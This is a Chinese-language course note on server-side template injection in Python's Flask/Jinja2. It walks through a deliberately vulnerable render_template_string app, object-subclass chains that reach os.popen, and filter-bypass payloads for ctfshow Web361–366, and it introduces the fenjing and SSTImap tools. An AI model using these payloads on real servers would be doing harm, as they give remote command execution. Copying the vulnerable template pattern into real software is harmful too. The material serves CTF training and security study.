小迪安全v2023学习笔记(七十讲)—— Python安全&SSTI模板注入&项目工具

文章目录

前记

  • 今天是学习小迪安全的第七十天,转眼一个月就过去了,真的很快,坚持看到这里的小伙伴,你们都是最棒的!相信只要坚持下去,都能成为网络安全领域的佼佼者!
  • 本节课是Python安全的第一节课,主要内容是SSTI模板注入,讲了其原理、绕过思路以及利用工具
  • 主要以实战为主,但也需要理解SSTI注入的攻击思路

WEB攻防------第七十天

Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测

Python - SSTI注入-类型&形成&利用

什么是SSTI
  • SSTIServer Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
  • 在进行目标编译渲染的过程中,使用了语句的拼接,执行了所插入的恶意内容
  • 从而导致信息泄露、代码执行、GetShell 等问题,其影响范围取决于模版引擎复杂性
  • 注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架SSTI
  • PHPsmartytwig...
  • Pythonjinja2makotornadoDjango...
  • JavaThymeleafjadevelocityFreeMarker...
  • 其他语言的常用模板框架如上图所示
常见魔术方法以及参数
python 复制代码
1.__class__: 类的一个内置属性,表示实例对象的类。
2.__base__: 类型对象的直接基类
3.__bases__: 类型对象的全部基类,以元组形式,类型的实例通常没有属性 
4.__mro__: method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
5.__subclasses__(): 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
6.__init__: 初始化类,返回的类型是function
7.__globals__: 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
8.__dic__: 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
9.__getattribute__(): 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
10.__getitem__(): 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
11.__builtins__: 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
12.__import__: 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
13.__str__(): 返回描写这个对象的字符串,可以理解成就是打印出来。
14.url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
15.get_flashed_messages: flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
16.current_app: 应用上下文,一个全局变量。
17.request: 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
18.request.args.x1: get传参
19.request.values.x1: 获取url中get传递参数
20.request.cookies: cookies参数
21.request.headers: 请求头参数
22.request.form.x1: post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
23.request.data: post传参 (Content-Type:a/b)
24.request.json: post传json (Content-Type: application/json)
25.config: 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
  • 上面这些是SSTI常用的参数或魔术方法,不需要全部记住,做个了解,用到的时候查一下即可
案例演示
  • 这里我们主要研究的是Python语言的模板注入
  • 形成SSTI注入的主要原因是在进行目标编译渲染的过程中,使用了语句的拼接,而传入的参数可控,导致了传入恶意代码执行
  • 比如下面的代码:
python 复制代码
from flask import Flask, request, render_template_string
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route('/')
def index():
    name = request.args.get('name', default='xiaodi')
    t = '''
    <html>
        <h1>Hello %s</h1>
    </html>
    ''' % (name)
    # 将一段字符串作为模板进行渲染
    return render_template_string(t)
app.run()
  • 这里直接运行这个代码,然后可以看到它渲染出来的一个结果:

  • 正常来说从传入 name 参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行

  • 不同的模板引擎有不同的语法去执行一些表达式 ,比如这里用的jinja2就是用{``{}}去解析表达式,因此我们输入{``{2*3}},他会将其视作表达式进行运算而不是字符串,得到的结果为6:

  • 此时如果结果回显为6,就说明它可能存在SSTI

  • 一般SSTI都是配合RCE使用,既然要造成RCE,那么我们肯定就要得到它可以执行代码/系统命令的函数

  • Python中常见的命令执行函数是os类中的popen方法,于是我们就想办法通过这里去拿到os类,然后构建对象调用popen方法执行任意命令

  • 而这里其实Python和Java有点类似,Java中所有的类都继承一个Object类,Python中也有一个根类object,虽然有区别,但是在这里你只需要知道有这个东西就行了

  • 所以我们可以通过一个空字符串或者空列表 对象,调用__class__魔术方法拿到这个对象的类,然后通过__base__方法拿到object类,紧接着通过__subclasses__()方法拿到object下面的所有子类,即调用下面的链:

python 复制代码
{{''.__class__.__base__.__subclasses__()}}
  • 拿到它的所有子类之后,我们需要分析os类的具体位置,这里可以将其丢到记事本当中:

  • 然后找到os类所在的位置,注意这里记事本中是以1开头,而数组/列表索引是以0开头,因此它的实际位置是142(不同的环境这个位置是不同的!):

  • 所以我们就需要通过索引拿到这个os类, 之后,我们要使用里面的方法需要构造一个对象出来,于是用到__init__魔术方法:

python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__}}
  • 这里我们要找到popen方法,所以可以通过__globals__获取__init__方法所在的全局命名空间字典,其中包含该方法定义时可见的所有全局变量和函数
python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__}}
  • 所以直接调用popen方法,然后传入我们想执行的命令即可:
python 复制代码
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__.popen('calc')}}
  • 这就是最典型的SSTI注入漏洞的利用方式
其他引用利用方式
  • 除了上面那种最基础的利用方式外,还有一些其他的:
python 复制代码
1. '':
   {{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('calc')}}

2. []: 
	{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('calc')}}

3. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}}

4. url_for:
	{{url_for.__globals__.os.popen('calc')}}

5. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}}

6. get_flashed_messages: 
   {{get_flashed_messages.__globals__['os'].popen('calc')}}
  • 根据不同的情况有不同的使用方式

Python - SSTI注入-演示&项目

案例演示
  • Python的SSTI注入主要在CTF中见得比较多,这里就用ctfshow题目来演示遇到过滤如何绕过的情况
Web361(无过滤)
  • 提示了名字就是考点,那么就传入参数name,正常回显,实战中这里可以测XSS,当然这里是SSTI

  • 我们首先需要判断是哪种模板渲染,一般是先判断Python,再判断其他语言,这里看具体是那个模板引擎可以使用

  • 一般就是根据这张图来进行判断,当然也可以通过我们开头那张图去判断

  • 这里判断过程就省略了,模板是jinja2,然后我们就直接使用刚才语法去玩呗,先判断os类的位置:

python 复制代码
{{''.__class__.__base__.__subclasses__()}}
  • 放到记事本中,发现os类在132的位置:

  • 于是直接给出payload,注意使用popen()需要使用read()方法才能读取文件内容:

python 复制代码
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}
Web362(过滤数字)
  • 这里提示了有过滤,具体过滤什么,目前不清楚,那就先直接测试,遇到过滤了再逐个排查

  • 先看os的位置:

  • 这里正常回显,说明没有过滤,它在132这个位置,于是尝试payload

  • 这里被过滤了,那就说明我们后面出现的代码有问题,逐个尝试呗,先看能不能正常调用os

python 复制代码
{{''.__class__.__base__.__subclasses__()[132]}}
  • 这里就说明可能是过滤了[],也可能是过滤了某个数字,再依次尝试一遍发现过滤了数字2、3

  • 怎么办呢?不能用数字了,那我们就换种引用方式呗,比如上面的configpayload,直接尝试:

  • 成功读取到flag,当然用其他几个都是一样的,只要不出现2、3即可

Web363(过滤单双引号)
  • 这里过滤的是单双引号,然后我们发现,上面的所有payload都有单引号啊,怎么办呢?
  • 不知道你们还记不记得之前碰到SSRF过滤时用到了一个带外思路:
php 复制代码
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
  • 将参数的值也通过参数的形式传递进去,达到绕过的效果,那么这里也是一样,可以在需要传值的地方使用request.values.xrequest.args.y的方式传值绕过单引号:
python 复制代码
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat%20/flag
Web364(过滤单双引号+args)
  • 这关过滤了单双引号,以及关键字args,至于怎么发现的就不多说了
  • 这里我们的绕过方式是在上一题的基础上使用request.values.x或者request.cookie.x都可以:
python 复制代码
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat%20/flag
Web365(过滤单双引号+中括号+args)
  • 本题过滤了单双引号、中括号以及args关键字,那我们上面的payload中有不用中括号的:
python 复制代码
{{url_for.__globals__.os.popen('calc')}}
  • 这里把传值改成上题的request.values.x即可:
python 复制代码
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat%20/flag
Web366(过滤单双引号+中括号+下划线+args)
  • 本题过滤了单双引号、中括号、下划线以及args关键字,我们上面的payload除了魔术方法没有用到下划线的是:
python 复制代码
1. {{config.__class__.__init__.__globals__['os'].popen('calc')}}

2. {{lipsum.__globals__['os'].popen('calc')}}
  • 那么
  • 其实这里的一种思路就是全部通过request.values.x带出去,比如payload是这样:
python 复制代码
{{lipsum.[request.values.x][request.values.y].popen(request.values.z).read()}}&x=__globals__&y=os&z=cat%20/flag
  • 但是很可惜,这里同时过滤了中括号,所以这种思路不行
  • 于是我们有一种新的方法,是通过|attr()过滤器配合动态参数,比如这样:
python 复制代码
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
  • 这里相当于是|attr(__globals__),通过字符串名称获取对象的属性,大概就是这么个意思,其实我也不是很懂
绕过总结
  • 在黑盒测试中,可能会有各种各样的过滤 ,常见的有:
    1. 过滤特殊数字,一般为2、3
    2. 过滤单双引号
    3. 过滤中括号
    4. 过滤下划线
    5. 过滤点号
    6. 过滤某些关键字 => args、config、os、popen...
  • 而这些我们都可以通过{``{}}去解析判断
    1. {``{2 * 3}} => 特殊数字
    2. {``{""}} => 单双引号
    3. {``{()}} => 括号
    4. {``{[]}} => 中括号
    5. {``{_}} => 下划线
    6. {``{.}} => 点号
    7. {``{args...}} => 关键字
  • 于是我们就有多种多样的方式和Payload去尝试绕过这些限制:
过滤数字
  • 使用没有数字的payload,或者通过外带传入数字:
python 复制代码
1. config:
	{{config.__class__.__init__.__globals__['os'].popen('calc')}} 

2. url_for:
   {{url_for.__globals__.os.popen('calc')}} 

3. lipsum:
   {{lipsum.__globals__['os'].popen('calc')}} 

4. get_flashed_messages:
   {{get_flashed_messages.__globals__['os'].popen('calc')}}
过滤单双引号
  • 通过外带传入参数绕过单双引号:
python 复制代码
{{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
过滤指定字符
  • 使用chr()函数或者平替,比如过滤了args关键字就使用其他相同效果的关键字:
python 复制代码
{{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
过滤中括号
  • 使用不带中括号的payload
python 复制代码
{{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
过滤下划线
  • 使用|attr()函数:
python 复制代码
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
其他
项目工具
  • 一般黑盒测试或者CTF中基本是判断出来然后工具一把梭

  • 这里有几个好用的项目:

    1. SSTImap:python3,支持的模板很多,也更加好用
    2. fenjing:专门为CTF中SSTI注入题型设计的工具,支持Web网页操作,不过好像仅支持flaskjinja2
  • 然后还有个SSTI的靶场集合:Pav-ksd-pl/websitesVulnerableToSSTI

  • 那我们可以直接使用这两款工具看一看刚刚的ctf题能不能一把梭出来:

  • fenjing直接使用命令或者网页端填写数据都可以(注意这里提示证书错误时换成http即可 ):

  • 也是成功拿到了flag

  • SSTImap也是进入文件夹使用命令即可:

  • 但是可以看到这个遇到严格一点的过滤它可能就测不出来了,因为它默认的payload可能比较水,但是可以自定义payload使用

  • 如果是打ctf,并且模板引擎是jinja2,使用fenjing即可;如果是其他的模板引擎,那么就自定义payloadSSTImap

相关推荐
tingshuo291734 分钟前
S001 【模板】从前缀函数到KMP应用 字符串匹配 字符串周期
笔记
用户962377954485 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机8 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
IVEN_8 小时前
只会Python皮毛?深入理解这几点,轻松进阶全栈开发
python·全栈
Ray Liang10 小时前
用六边形架构与整洁架构对比是伪命题?
java·python·c#·架构设计
AI攻城狮10 小时前
如何给 AI Agent 做"断舍离":OpenClaw Session 自动清理实践
python
用户9623779544810 小时前
DVWA 靶场实验报告 (Medium Level)
安全
千寻girling10 小时前
一份不可多得的 《 Python 》语言教程
人工智能·后端·python
red1giant_star10 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全